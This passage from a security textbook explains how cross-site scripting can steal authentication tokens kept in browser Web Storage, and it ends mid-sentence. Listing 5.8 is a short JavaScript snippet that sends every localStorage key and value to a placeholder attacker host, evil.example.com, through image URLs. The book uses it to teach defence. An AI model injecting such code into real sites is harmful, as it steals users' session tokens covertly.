Most browsers will eagerly load an image source URL, without the `img` even being added to the page,[5] allowing the attacker to steal tokens covertly with no visible indication to the user. Listing 5.8 shows an example of this kind of attack, and how little code is required to carry it out.

Listing 5.8 Covert exfiltration of Web Storage

```
for (var i = 0; i < localStorage.length; ++i) {    #A
    var key = localStorage.key(i);    #A
    var img = document.createElement('img');    #B
    img.setAttribute('src',     #B
        'https://evil.example.com/exfil?key=' +     #B
          encodeURIComponent(key) + '&value=' +     #C
          encodeURIComponent(localStorage.getItem(key)));
#C
}
```

#A Loop through every element in localStorage
#B Construct an img element with the src element pointing to an attacker-controlled site
#C Encode the key and value into the src URL to send them to the attacker

Although using HttpOnly cookies can protect against this attack, XSS attacks undermine the security of all forms of web browser authentication technologies. If the attacker cannot extract the token and exfiltrate it to their own device, they will instead use the XSS exploit to execute the requests they want to perform directly from within the victim's browser as shown in figure 5.6. Such requests will appear to the API to come from the legitimate UI, and so